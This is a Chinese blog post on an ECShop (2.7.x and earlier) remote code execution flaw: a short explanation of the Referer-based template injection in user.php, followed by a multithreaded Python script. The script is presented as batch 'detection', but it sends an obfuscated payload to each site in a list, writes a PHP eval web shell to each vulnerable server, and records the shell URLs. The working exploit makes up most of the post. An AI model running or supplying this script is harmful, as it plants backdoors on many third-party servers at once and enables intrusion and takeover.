ECShop远程代码执行漏洞批量检测

ECShop远程代码执行漏洞批量检测

1.漏洞原理

ECShop的user.php文件中的display函数的模板变量可控,导致注入,配合注入可达到远程代码执行。攻击者无需登录等操作,可直接远程把webshell写入服务器。

$back_act变量来源于HTTP_REFERER,我们可以控制它。

ECShop远程代码执行漏洞批量检测_第1张图片

Ecshop使用了 php 模版引擎 smarty ,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。smarty运行时,会读取模版文件,将模版文件中的占位符替换成assign()函数传递过来的参数值,并输出一个编译处理后的php文件,交由服务器运行。具体分析见:https://blog.csdn.net/xiaoi123/article/details/82787213

2.使用POC检测

2.1Python版POC

使用python写的POC如下:

import requests
import time
import threading


def get_shell(u):
    try:
        # 构造请求
        print("正在测试:")
        refer = "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:280:\"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -\";s:2:\"id\";s:3:\"'/*\";}"
        site_url = "http://" + u.strip() + "/user.php?act=login"
        print(site_url)
        site_headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
            'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
            'Referer': refer,
            'Accept-Encoding': 'gzip, deflate'}
        # 发送请求get shell
        requests.get(url=site_url, headers=site_headers, timeout=3)

        # 测试shell脚本是否生成
        time.sleep(2)
        shell_url = "http://" + u.strip() + "/1.php"
        response = requests.get(url=shell_url)
        # 获取状态码,等于200说明shell已经生成
        status = response.status_code
        if status == 200:
            print("存在漏洞,shell的地址是:\n" + shell_url)
            f1 = open("shell.txt", "a")
            f1.write(shell_url + "\n")
            f1.close()
            print("shell的url地址已经成功写入shell.txt!")
        else:
            print("不确定或存在WAF!")
    except Exception as e:
        print("不确定或存在WAF!")


if __name__ == '__main__':
    print("*" * 60)
    print("ECShop远程代码执行漏洞批量化检测POC\n")
    print("1.请在当前目录下新建url.txt文件,并把需要批量检测的站点域名写入.")
    print("2.此POC针对ECShop<= 2.7.x")
    print("*" * 60)

    f = open("url.txt", "r")
    url_list = f.readlines()

    for i in url_list:
        t = threading.Thread(target=get_shell, args=(i,))
        t.start()
        t.join()
    f.close()

2.2测试

在url.txt写入要检测的地址,访问user.php页面的url路径。

ECShop远程代码执行漏洞批量检测_第2张图片

运行效果如下:

ECShop远程代码执行漏洞批量检测_第3张图片

访问shell地址:

ECShop远程代码执行漏洞批量检测_第4张图片

你可能感兴趣的:(渗透测试)